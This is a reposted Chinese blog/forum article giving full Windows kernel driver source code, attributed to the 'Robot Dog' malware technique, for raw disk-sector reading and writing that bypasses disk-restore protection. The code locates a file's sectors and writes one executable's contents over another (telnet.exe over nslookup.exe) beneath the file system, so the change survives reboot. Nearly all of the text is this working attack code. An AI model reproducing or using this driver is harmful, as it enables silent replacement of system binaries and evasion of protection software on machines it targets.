您的位置:首页 > 编程语言

[转]机器狗穿透还原的磁盘级文件读写完整驱动代码

2009-11-10 15:06 519 查看
转载自:http://www.smatrix.org/bbs/read.php?tid=4920

文章作者:Eros412
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

复制代码

#include<ntddk.h>

#include<srb.h>

#define FSCTL_GET_RETRIEVAL_POINTERS 0x90073

#define PARTITION_TYPE_NTFS 0x07

#define PARTITION_TYPE_FAT32 0x0B

#define PARTITION_TYPE_FAT32_LBA 0x0C

extern POBJECT_TYPE* IoDriverObjectType;

LARGE_INTEGER realdiskpos;

ULONG sectorspercluster;

typedef struct RETRIEVAL_POINTERS_BUFFER {

ULONG ExtentCount;

LARGE_INTEGER StartingVcn;

struct {

LARGE_INTEGER NextVcn;

LARGE_INTEGER Lcn;

} Extents[1];

} RETRIEVAL_POINTERS_BUFFER, *PRETRIEVAL_POINTERS_BUFFER;

typedef struct { LARGE_INTEGER StartingVcn;

} STARTING_VCN_INPUT_BUFFER, *PSTARTING_VCN_INPUT_BUFFER;

typedef struct _SENSE_DATA {

unsigned char Valid;

unsigned char SegmentNumber;

unsigned char FileMark;

unsigned char Information[4];

unsigned char AdditionalSenseLength;

unsigned char CommandSpecificInformation[4];

unsigned char AdditionalSenseCode;

unsigned char AdditionalSenseCodeQualifier;

unsigned char FieldReplaceableUnitCode;

unsigned char SenseKeySpecific[3];

} SENSE_DATA, *PSENSE_DATA;

#pragma pack(1)

typedef struct _PARTITION_ENTRY

{

UCHAR active;

UCHAR StartHead;

UCHAR StartSector;

UCHAR StartCylinder;

UCHAR PartitionType;

UCHAR EndHead;

UCHAR EndSector;

UCHAR EndCylinder;

ULONG StartLBA;

ULONG TotalSector;

} PARTITION_ENTRY, *PPARTITION_ENTRY;

typedef struct _MBR_SECTOR

{

UCHAR BootCode[446];

PARTITION_ENTRY Partition[4];

USHORT Signature;

} MBR_SECTOR, *PMBR_SECTOR;

typedef struct _BBR_SECTOR

{

USHORT JmpCode;

UCHAR NopCode;

UCHAR OEMName[8];

USHORT BytesPerSector;

UCHAR SectorsPerCluster;

USHORT ReservedSectors;

UCHAR NumberOfFATs;

USHORT RootEntries;

USHORT NumberOfSectors16;

UCHAR MediaDescriptor;

USHORT SectorsPerFAT16;

USHORT SectorsPerTrack;

USHORT HeadsPerCylinder;

ULONG HiddenSectors;

ULONG NumberOfSectors32;

ULONG SectorsPerFAT32;

} BBR_SECTOR, *PBBR_SECTOR;

#pragma pack()

typedef struct _SYSTEM_MODULE_INFORMATION {

ULONG Reserved[2];

PVOID Base;

ULONG Size;

ULONG Flags;

USHORT Index;

USHORT Unknown;

USHORT LoadCount;

USHORT ModuleNameOffset;

CHAR ImageName[255];

} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

NTSYSAPI

NTSTATUS

NTAPI

ObReferenceObjectByName(

IN PUNICODE_STRING ObjectName,

IN ULONG Attributes,

IN PACCESS_STATE AccessState OPTIONAL,

IN ACCESS_MASK DesiredAccess OPTIONAL,

IN POBJECT_TYPE ObjectType,

IN KPROCESSOR_MODE AccessMode,

IN OUT PVOID ParseContext OPTIONAL,

OUT PVOID* Object );

NTSYSAPI

NTSTATUS

NTAPI

ZwQuerySystemInformation(

IN ULONG SystemInformationClass,

IN OUT PVOID SystemInformation,

IN ULONG SystemInformationLength,

OUT PULONG ReturnLength);

NTSTATUS

IrpCompletionRoutine(

IN PDEVICE_OBJECT DeviceObject,

IN PIRP Irp,

IN PVOID Context

){

PMDL mdl;

Irp->UserIosb->Status=Irp->IoStatus.Status;

Irp->UserIosb->Information=Irp->IoStatus.Information;

if(! Context)

{

mdl=Irp->MdlAddress;

if(mdl){

DbgPrint("read size: %d..", Irp->IoStatus.Information);

MmUnlockPages(mdl);

IoFreeMdl(mdl);

}}

KeSetEvent(Irp->UserEvent, IO_NO_INCREMENT, 0);

IoFreeIrp(Irp);

return STATUS_MORE_PROCESSING_REQUIRED;

}

NTSTATUS IrpCompletionRoutine_0(

IN PDEVICE_OBJECT DeviceObject,

IN PIRP Irp,

IN PVOID Context

){

PMDL mdl;

Irp->UserIosb->Status=Irp->IoStatus.Status;

Irp->UserIosb->Information=Irp->IoStatus.Information;

if (! Context )

{

mdl=Irp->MdlAddress;

if ( mdl )

{

DbgPrint("read size: %d..", Irp->IoStatus.Information);

MmUnlockPages(mdl);

IoFreeMdl(mdl);

}

}

KeSetEvent(Irp->UserEvent, IO_NO_INCREMENT, 0);

IoFreeIrp(Irp);

return STATUS_MORE_PROCESSING_REQUIRED;

}

ULONG GetModuleBase(char* name){

ULONG n,i ;

PSYSTEM_MODULE_INFORMATION module;

PVOID pbuftmp;

char modulename[255];

ZwQuerySystemInformation(11, &n, 0, &n);

pbuftmp = ExAllocatePool(NonPagedPool, n);

ZwQuerySystemInformation(11, pbuftmp, n, NULL);

module = (PSYSTEM_MODULE_INFORMATION)((PULONG )pbuftmp + 1 );

n = *((PULONG)pbuftmp );

for ( i = 0; i < n; i++ )

{

strcpy(modulename,module[i].ImageName + module[i].ModuleNameOffset);

if(!_strnicmp(modulename,name,strlen(name))){

ExFreePool(pbuftmp);

return (ULONG)module[i].Base;

}

}

ExFreePool(pbuftmp);

return 0;

}

NTSTATUS MyIoCallDriver(PDEVICE_OBJECT DeviceObject,PIRP Irp)//自己的IoCallDriver

{

PIO_STACK_LOCATION stack;

--Irp->CurrentLocation;

stack = IoGetNextIrpStackLocation( Irp );

Irp->Tail.Overlay.CurrentStackLocation= stack;//移动堆栈

stack->DeviceObject=DeviceObject;

return (DeviceObject->DriverObject->MajorFunction[(ULONG)stack->MajorFunction])(DeviceObject, Irp);

}

ULONG AtapiReadWriteDisk(PDEVICE_OBJECT dev_object,ULONG MajorFunction, PVOID buffer,ULONG DiskPos, int BlockCount)

{

NTSTATUS status;

PSCSI_REQUEST_BLOCK srb;

PSENSE_DATA sense;

KEVENT Event;

PIRP irp;

PMDL mdl;

IO_STATUS_BLOCK isb;

PIO_STACK_LOCATION isl;

PVOID psense;

int count=8;

while(1){

srb=ExAllocatePool(0,sizeof(SCSI_REQUEST_BLOCK));

if(!srb)

break;

sense=ExAllocatePool(0,sizeof(SENSE_DATA));

psense=sense;

if(!sense)

break;

memset(srb,0,sizeof(SCSI_REQUEST_BLOCK));

memset(sense,0,sizeof(SENSE_DATA));

srb->Length=sizeof(SCSI_REQUEST_BLOCK);//更多关于srb,请看《SCSI 总线和IDE接口:协议、应用和编程》和《SCSI程序员指南》

srb->Function=0;

srb->DataBuffer=buffer;

srb->DataTransferLength=BlockCount<<9;//sector size*number of sector

srb->QueueAction=SRB_FLAGS_DISABLE_AUTOSENSE;

srb->SrbStatus=0;

srb->ScsiStatus=0;

srb->NextSrb=0;

srb->SenseInfoBuffer=sense;

srb->SenseInfoBufferLength=sizeof(SENSE_DATA);

if(MajorFunction==IRP_MJ_READ)

srb->SrbFlags=SRB_FLAGS_DATA_IN;

else

srb->SrbFlags=SRB_FLAGS_DATA_OUT;

if(MajorFunction==IRP_MJ_READ)

srb->SrbFlags|=SRB_FLAGS_ADAPTER_CACHE_ENABLE;

srb->SrbFlags|=SRB_FLAGS_DISABLE_AUTOSENSE;

srb->TimeOutValue=(srb->DataTransferLength>>10)+1;

srb->QueueSortKey=DiskPos;

srb->CdbLength=10;

srb->Cdb[0]=2*((UCHAR)MajorFunction+ 17);

srb->Cdb[1]=srb->Cdb[1] & 0x1F | 0x80;

srb->Cdb[2]=(unsigned char)(DiskPos>>0x18)&0xFF; //

srb->Cdb[3]=(unsigned char)(DiskPos>>0x10)&0xFF; //

srb->Cdb[4]=(unsigned char)(DiskPos>>0x08)&0xFF; //

srb->Cdb[5]=(UCHAR)DiskPos; //填写sector位置

srb->Cdb[7]=(UCHAR)BlockCount>>0x08;

srb->Cdb[8]=(UCHAR)BlockCount;

//By:Eros412

KeInitializeEvent(&Event, 0, 0);

irp=IoAllocateIrp(dev_object->StackSize,0);

mdl=IoAllocateMdl(buffer, BlockCount<<9, 0, 0, irp);

irp->MdlAddress=mdl;

if(!mdl){

ExFreePool(srb);

ExFreePool(psense);

IoFreeIrp(irp);

return STATUS_INSUFFICIENT_RESOURCES;

}

MmProbeAndLockPages(mdl,0,(MajorFunction==IRP_MJ_READ?0:1));

srb->OriginalRequest=irp;

irp->UserIosb=&isb;

irp->UserEvent=&Event;

irp->IoStatus.Status=0;

irp->IoStatus.Information=0;

irp->Flags=IRP_SYNCHRONOUS_API|IRP_NOCACHE;

irp->AssociatedIrp.SystemBuffer=0;

irp->Cancel=0;

irp->RequestorMode=0;

irp->CancelRoutine=0;

irp->Tail.Overlay.Thread=PsGetCurrentThread();

isl=IoGetNextIrpStackLocation(irp);

isl->DeviceObject=dev_object;

isl->MajorFunction=IRP_MJ_SCSI;

isl->Parameters.Scsi.Srb=srb;

isl->CompletionRoutine=IrpCompletionRoutine_0;

isl->Context=srb;

isl->Control=SL_INVOKE_ON_CANCEL|SL_INVOKE_ON_SUCCESS|SL_INVOKE_ON_ERROR;

status=MyIoCallDriver(dev_object,irp);

KeWaitForSingleObject(&Event, 0, 0, 0, 0);

if(srb->SenseInfoBuffer!=psense&&srb->SenseInfoBuffer)

ExFreePool(srb->SenseInfoBuffer);

ExFreePool(srb);

ExFreePool(psense);

if ( status >= 0 || !count )

return status;

DbgPrint("Send XXX Failed..%08x/r/n", status);

KeStallExecutionProcessor(1u);

--count;

}

return STATUS_INSUFFICIENT_RESOURCES;

}

PDEVICE_OBJECT GetLastDiskDeviceObject(PDRIVER_OBJECT drv_object)//这个就是DR0

{

PDEVICE_OBJECT result;

PDEVICE_OBJECT finddev;

finddev=drv_object->DeviceObject;

result=NULL;

while (finddev)

{

if (finddev->DeviceType==FILE_DEVICE_DISK)

result = finddev;

finddev=finddev->NextDevice;

}

return result;

}

PDEVICE_OBJECT GetAtaDr0DevObject(){

UNICODE_STRING diskstr;

PDRIVER_OBJECT diskdrv;

PDEVICE_OBJECT dr0dev;

RtlInitUnicodeString(&diskstr, L"//Driver//Disk");

if(ObReferenceObjectByName(&diskstr,64,0,0,*IoDriverObjectType,0,0,&diskdrv)<0)

return NULL;

dr0dev=GetLastDiskDeviceObject(diskdrv);

if(dr0dev)

DbgPrint("Eros412 said : ata dr0 dev obj is : %08x...",dr0dev);

ObfDereferenceObject(diskdrv);

return dr0dev;

}

PDEVICE_OBJECT GetFileObjectDevice(PFILE_OBJECT Object){

PDEVICE_OBJECT result=NULL;

PVPB vpb;

vpb=Object->Vpb;

result=vpb->DeviceObject;

if(!vpb||!result)

{

if(!Object->DeviceObject->Vpb||!Object->DeviceObject->Vpb->DeviceObject)

result=Object->DeviceObject;

}

return result;

}

PLARGE_INTEGER GetPosAndCluster()//得到第一个分区文件数据的起始位置

{

PVOID buffer;

ULONG type,startlba;

int i;

PLARGE_INTEGER result;

PDEVICE_OBJECT dev;

PMBR_SECTOR mbrsec;

PPARTITION_ENTRY partition0;

PBBR_SECTOR bootsec;

result=ExAllocatePool(0,sizeof(LARGE_INTEGER));

dev=GetAtaDr0DevObject();

if(dev){

buffer=ExAllocatePool(0,512);

memset(buffer,0,512);

if(AtapiReadWriteDisk(dev, IRP_MJ_READ, buffer, 0, 1)>0)

DbgPrint("AtapiReadWriteDisk ok");

mbrsec=(PMBR_SECTOR)buffer;

partition0=&mbrsec->Partition[0];

startlba=partition0[0].StartLBA;

type=partition0[0].PartitionType;

DbgPrint("dwPartOnePos:0x%08x..1", startlba);

result->QuadPart=startlba;

memset(buffer,0,512);

if(AtapiReadWriteDisk(dev, IRP_MJ_READ, buffer, startlba, 1)>0){

bootsec=(PBBR_SECTOR)buffer;

DbgPrint("gSectorsPerCluster:%d...", bootsec->SectorsPerCluster);

sectorspercluster=bootsec->SectorsPerCluster;

}

result->QuadPart+=bootsec->ReservedSectors;

DbgPrint("dwPartOnePos:%I64x..2/r/n", result->QuadPart);

if(type==PARTITION_TYPE_FAT32||type==PARTITION_TYPE_FAT32_LBA)

result->QuadPart+=bootsec->NumberOfFATs*bootsec->SectorsPerFAT32;

DbgPrint("dwPartOnePos:%I64x..3/r/n", result->QuadPart);

}

else

result->QuadPart=0;

return result;

}

NTSTATUS OpenFile(PHANDLE FileHandle,PWCHAR filename)

{

NTSTATUS status;

ULONG v3;

int v5;

UNICODE_STRING DestinationString;

OBJECT_ATTRIBUTES ObjectAttributes;

struct _IO_STATUS_BLOCK IoStatusBlock;

RtlInitUnicodeString(&DestinationString, filename);//L"//SystemRoot//System32//userinit.exe"

ObjectAttributes.ObjectName = &DestinationString;

ObjectAttributes.Length = 24;

ObjectAttributes.RootDirectory = 0;

ObjectAttributes.Attributes =OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE;// 576;

ObjectAttributes.SecurityDescriptor = 0;

ObjectAttributes.SecurityQualityOfService = 0;

status = IoCreateFile(FileHandle, GENERIC_READ , &ObjectAttributes, &IoStatusBlock, 0, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, FILE_OPEN , 0x50u, 0, 0, 0, 0, 0);

if ( status != STATUS_SUCCESS)

DbgPrint("Open File failed...%08x..", status );

return status;

}

PLARGE_INTEGER getfilesize(PWCHAR filename){

PLARGE_INTEGER filesize;

HANDLE hfile;

IO_STATUS_BLOCK IoStatusBlock;

filesize=ExAllocatePool(0,sizeof(LARGE_INTEGER));

OpenFile(&hfile,filename);

ZwQueryInformationFile(hfile, &IoStatusBlock, filesize, 24, FileStandardInformation);

return filesize;

}

NTSTATUS InitSectors(PWCHAR filename){//得到文件在扇区的位置,存放在realdiskpos

PLARGE_INTEGER diskpos;

NTSTATUS status,newstatus;

HANDLE filehandle;

PVOID testingpool;

IO_STATUS_BLOCK iosb;

LARGE_INTEGER ByteOffset;

PFILE_OBJECT Object;

PDEVICE_OBJECT dev;

PIRP irp;

KEVENT Event;

IO_STATUS_BLOCK iosb2;

PIO_STACK_LOCATION nextio;

STARTING_VCN_INPUT_BUFFER StartVcn;

unsigned char abBuffer[1024];

PRETRIEVAL_POINTERS_BUFFER pVcnPairs;

realdiskpos.QuadPart=0;

StartVcn.StartingVcn.QuadPart=0;

memset(abBuffer, 0, 1024);

pVcnPairs = (PRETRIEVAL_POINTERS_BUFFER)abBuffer;

if(OpenFile(&filehandle,filename)!= STATUS_SUCCESS)

return 1;

testingpool=ExAllocatePool(0,512);

ByteOffset.QuadPart=0;

if(ZwReadFile(filehandle,0,0,0,&iosb,testingpool,512,&ByteOffset,0)!=STATUS_SUCCESS){

DbgPrint("ZwReadFile error");

goto end;

}

if(ObReferenceObjectByHandle(filehandle,0,(POBJECT_TYPE)*IoFileObjectType,0,&Object,0)<0){

DbgPrint("ObReferenceObjectByHandle error");

goto end;

}

dev=GetFileObjectDevice(Object);

if(!dev){

DbgPrint("Get Device Object error");

goto end2;

}

DbgPrint("pDevObj is: %08x...",dev);

irp=IoAllocateIrp( dev->StackSize, 0);

if(irp==NULL)

goto end2;

KeInitializeEvent(&Event, SynchronizationEvent, 0);

irp->AssociatedIrp.SystemBuffer=&StartVcn;

irp->UserBuffer=pVcnPairs;

irp->UserEvent=&Event;

irp->MdlAddress=0;

irp->UserIosb=&iosb2;

irp->RequestorMode=KernelMode;

irp->Tail.Overlay.Thread=PsGetCurrentThread();

irp->Tail.Overlay.OriginalFileObject=Object;

irp->Flags = 0;

nextio = IoGetNextIrpStackLocation(irp);

nextio->MajorFunction=IRP_MJ_FILE_SYSTEM_CONTROL;

nextio->DeviceObject=dev;

nextio->FileObject=Object;

nextio->Parameters.FileSystemControl.InputBufferLength= sizeof(STARTING_VCN_INPUT_BUFFER);

nextio->Parameters.FileSystemControl.FsControlCode=FSCTL_GET_RETRIEVAL_POINTERS;

nextio->Parameters.FileSystemControl.Type3InputBuffer=&StartVcn;

nextio->Parameters.FileSystemControl.OutputBufferLength=1024;

nextio->CompletionRoutine=IrpCompletionRoutine;

nextio->Context=0;

nextio->Control=SL_INVOKE_ON_CANCEL|SL_INVOKE_ON_SUCCESS|SL_INVOKE_ON_ERROR;

MyIoCallDriver(dev,irp);

KeWaitForSingleObject(&Event, 0,0,0, NULL);

newstatus = iosb2.Status;

if(newstatus<0){

DbgPrint("MyIofCallDriver failed:%08x...",newstatus);

goto end2;

}

DbgPrint("ExtentCount = %d",pVcnPairs->ExtentCount);

DbgPrint("StartLcn = %I64x",pVcnPairs->Extents[0].Lcn.QuadPart);

diskpos=GetPosAndCluster();

realdiskpos.QuadPart=diskpos->QuadPart+sectorspercluster*pVcnPairs->Extents[0].Lcn.QuadPart;

if(diskpos){

DbgPrint("gDiskPos is: %I64x..Cluster:%d...part offset: %08x..",realdiskpos.QuadPart,sectorspercluster,diskpos->QuadPart);

}

return 0;

end2:

if(irp!=NULL)

IoFreeIrp(irp);

ObDereferenceObject(Object);

end:

ZwClose(filehandle);

if(testingpool)

ExFreePool(testingpool);

return 1;

}

VOID DriverUnload(

IN PDRIVER_OBJECT DriverObject

){

}

NTSTATUS

DriverEntry(

IN PDRIVER_OBJECT DriverObject,

IN PUNICODE_STRING RegistryPath

){

PLARGE_INTEGER filesize;

PDEVICE_OBJECT dev;

PVOID buf;

ULONG psector;

DriverObject->DriverUnload =DriverUnload;

InitSectors(L"//??//c://telnet.exe");//找了两个大小差不多的文件,把telnet.exe的binary code拷贝到nslookup.exe,系统重启后生效(注:当exe执行时

FSD从cache里把内容拷贝过来,所以需要重启)

filesize=getfilesize(L"//??//c://telnet.exe");

buf=ExAllocatePool(0,filesize->LowPart);

memset(buf,0x00,filesize->LowPart);

dev=GetAtaDr0DevObject();

psector=realdiskpos.LowPart;

if(dev!=NULL&&psector!=0&&buf!=NULL){

AtapiReadWriteDisk(dev,IRP_MJ_READ,buf,psector,(filesize->LowPart/512)+1);

InitSectors(L"//??//c://nslookup.exe");

filesize=getfilesize(L"//??//c://nslookup.exe");

psector=realdiskpos.LowPart;

AtapiReadWriteDisk(dev,IRP_MJ_WRITE,buf,psector,(filesize->LowPart/512)+1);

}

return STATUS_SUCCESS;

}

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: